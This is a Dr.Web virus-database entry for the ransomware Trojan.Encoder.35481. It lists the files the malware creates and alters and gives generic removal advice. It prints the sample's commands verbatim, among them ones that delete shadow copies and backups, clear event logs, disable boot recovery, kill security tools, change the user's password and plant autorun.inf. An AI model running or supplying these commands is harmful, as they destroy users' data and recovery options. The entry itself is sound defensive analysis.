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Trojan.Encoder.35481

Added to the Dr.Web virus database: 2022-06-22

Virus description added:

Technical Information

To ensure autorun and distribution
Creates the following files on removable media
  • <Drive name for removable media>:\windowsscan.exe
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Executes the following
  • '%WINDIR%\syswow64\taskkill.exe' /im chrome.exe /f
  • '%WINDIR%\syswow64\taskkill.exe' /im ComboCleaner.exe /f
Modifies file system
Creates the following files
  • C:\autorun.inf
  • %WINDIR%scan.exe
  • D:\windowsscan.exe
Modifies the following files
  • %APPDATA%\adobe\acrobat\dc\tmdocs.sav
  • %APPDATA%\icqm\icq\graphics\phone\agent_online.bmp
  • %APPDATA%\icqm\icq\graphics\phone\agent_offline_inv.bmp
  • %APPDATA%\icqm\icq\graphics\phone\agent_offline.bmp
  • %APPDATA%\icqm\icq\fonts\segoesc.ttf
  • %APPDATA%\icqm\icq\dll\altergeo.msi
  • %APPDATA%\icqm\icq\database\citylist_uz.csv
  • %APPDATA%\icqm\icq\database\citylist_ua.csv
  • %APPDATA%\icqm\icq\database\citylist_tr.csv
  • %APPDATA%\icqm\icq\database\citylist_ru.csv
  • %APPDATA%\icqm\icq\database\citylist_kz.csv
  • %APPDATA%\icqm\icq\database\citylist_en.csv
  • %APPDATA%\icqm\vplog.dat
  • %APPDATA%\icq-profile\update\languages.hash
  • %APPDATA%\icq-profile\update\languages.dict
  • %APPDATA%\icq-profile\update\languages.aff
  • %APPDATA%\icq-profile\base\opt.dbs
  • %APPDATA%\icq-profile\base\mra.dbs
  • %APPDATA%\icq-profile\installerlang.xml
  • %APPDATA%\ghisler\wincmd.ini
  • %APPDATA%\adobe\logtransport2\logtransport2.cfg
  • %APPDATA%\adobe\acrobat\dc\security\crlcache\ce338828149963dcea4cd26bb86f0363b4ca0ba5.crl
  • %APPDATA%\adobe\acrobat\dc\security\crlcache\0fded5ceb68c302b1cdb2bddd9d0000e76539cb0.crl
  • %APPDATA%\adobe\acrobat\dc\security\addressbook.acrodata
  • %APPDATA%\adobe\acrobat\dc\preferences\defaultheuristics.dat
  • %APPDATA%\adobe\acrobat\dc\jscache\globsettings
  • %APPDATA%\adobe\acrobat\dc\jscache\globdata
  • %APPDATA%\adobe\acrobat\dc\tmgrpprm.sav
  • %APPDATA%\icqm\icq\graphics\phone\agent_online_inv.bmp
  • %APPDATA%\icqm\icq\graphics\phone\icq_offline.bmp
Modifies multiple files.
Modifies user data files (Trojan.Encoder).
Miscellaneous
Searches for the following windows
  • ClassName: '' WindowName: ''
Creates and executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C net users %username% LockedByNominatusCrypto7 && taskkill /im ComboCleaner.exe /f && msg * Loading.. Please Wait' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl application' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wmic shadowcopy delete' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl security' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl system' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin delete catalog quiet' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wmic SHADOWCOPY /nointeractive' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP deleteOldest' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c bcdedit /set {default} recoveryenabled No' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C taskkill /im chrome.exe /f && taskkill /im WireShark.exe /f && taskkill /im MSASCUI.exe /f && taskkill /im taskmgr.exe /f && taskkill /im regedit.exe /f && taskkill /im Kaspersky.exe /f && t...' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C netsh Interface Set Interface Wi-Fi 12 disable' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C echo open^=WindowsScan^.exe >> ..\autorun.inf' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C echo ^[autorun^] > ..\autorun.inf' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c vssadmin delete shadows /all /quiet' (with hidden window)
  • '%WINDIR%\syswow64\cmd.exe' /C cd %windir% && cd.. && for /f %f in ('*.bak /s') do del %f /f /q' (with hidden window)
Executes the following
  • '%WINDIR%\syswow64\cmd.exe' /C net users %username% LockedByNominatusCrypto7 && taskkill /im ComboCleaner.exe /f && msg * Loading.. Please Wait
  • '%WINDIR%\syswow64\cmd.exe' /c vssadmin delete shadows /all /quiet
  • '%WINDIR%\syswow64\cmd.exe' /c wmic SHADOWCOPY /nointeractive
  • '%WINDIR%\syswow64\cmd.exe' /c wevtutil cl system
  • '%WINDIR%\syswow64\cmd.exe' /c wmic shadowcopy delete
  • '%WINDIR%\syswow64\cmd.exe' /c wevtutil cl application
  • '%WINDIR%\syswow64\cmd.exe' /c wbadmin delete catalog quiet
  • '%WINDIR%\syswow64\cmd.exe' /c *.bak /s
  • '%WINDIR%\syswow64\cmd.exe' /c wbadmin DELETE SYSTEMSTATEBACKUP
  • '%WINDIR%\syswow64\net.exe' users user LockedByNominatusCrypto7
  • '%WINDIR%\syswow64\netsh.exe' Interface Set Interface Wi-Fi 12 disable
  • '%WINDIR%\syswow64\wevtutil.exe' cl system
  • '%WINDIR%\syswow64\wevtutil.exe' cl security
  • '%WINDIR%\syswow64\wevtutil.exe' cl application
  • '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • '%WINDIR%\syswow64\cmd.exe' /c wevtutil cl security
  • '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} recoveryenabled No
  • '%WINDIR%\syswow64\cmd.exe' /c wbadmin DELETE SYSTEMSTATEBACKUP deleteOldest
  • '%WINDIR%\syswow64\cmd.exe' /C cd %windir% && cd.. && for /f %f in ('*.bak /s') do del %f /f /q
  • '%WINDIR%\syswow64\cmd.exe' /C echo open^=WindowsScan^.exe >> ..\autorun.inf
  • '%WINDIR%\syswow64\cmd.exe' /C netsh Interface Set Interface Wi-Fi 12 disable
  • '%WINDIR%\syswow64\cmd.exe' /C taskkill /im chrome.exe /f && taskkill /im WireShark.exe /f && taskkill /im MSASCUI.exe /f && taskkill /im taskmgr.exe /f && taskkill /im regedit.exe /f && taskkill /im Kaspersky.exe /f && t...
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c bcdedit /set {default} recoveryenabled No
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c vssadmin delete shadows /all /quiet
  • '%WINDIR%\syswow64\cmd.exe' /C echo ^[autorun^] > ..\autorun.inf
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP deleteOldest
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin delete catalog quiet
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl system
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl security
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wmic shadowcopy delete
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wevtutil cl application
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wmic SHADOWCOPY /nointeractive
  • '%WINDIR%\syswow64\cmd.exe' /C cmd.exe /c wbadmin DELETE SYSTEMSTATEBACKUP
  • '%WINDIR%\syswow64\net1.exe' users user LockedByNominatusCrypto7
  • '%WINDIR%\syswow64\wbem\wmic.exe' SHADOWCOPY /nointeractive

Curing recommendations

  1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
  2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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Download by serial number

Use Dr.Web Anti-virus for macOS to run a full scan of your Mac.

After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

Download Dr.Web

Download by serial number

  1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
  2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
    • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
    • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
    • Switch off your device and turn it on as normal.

Find out more about Dr.Web for Android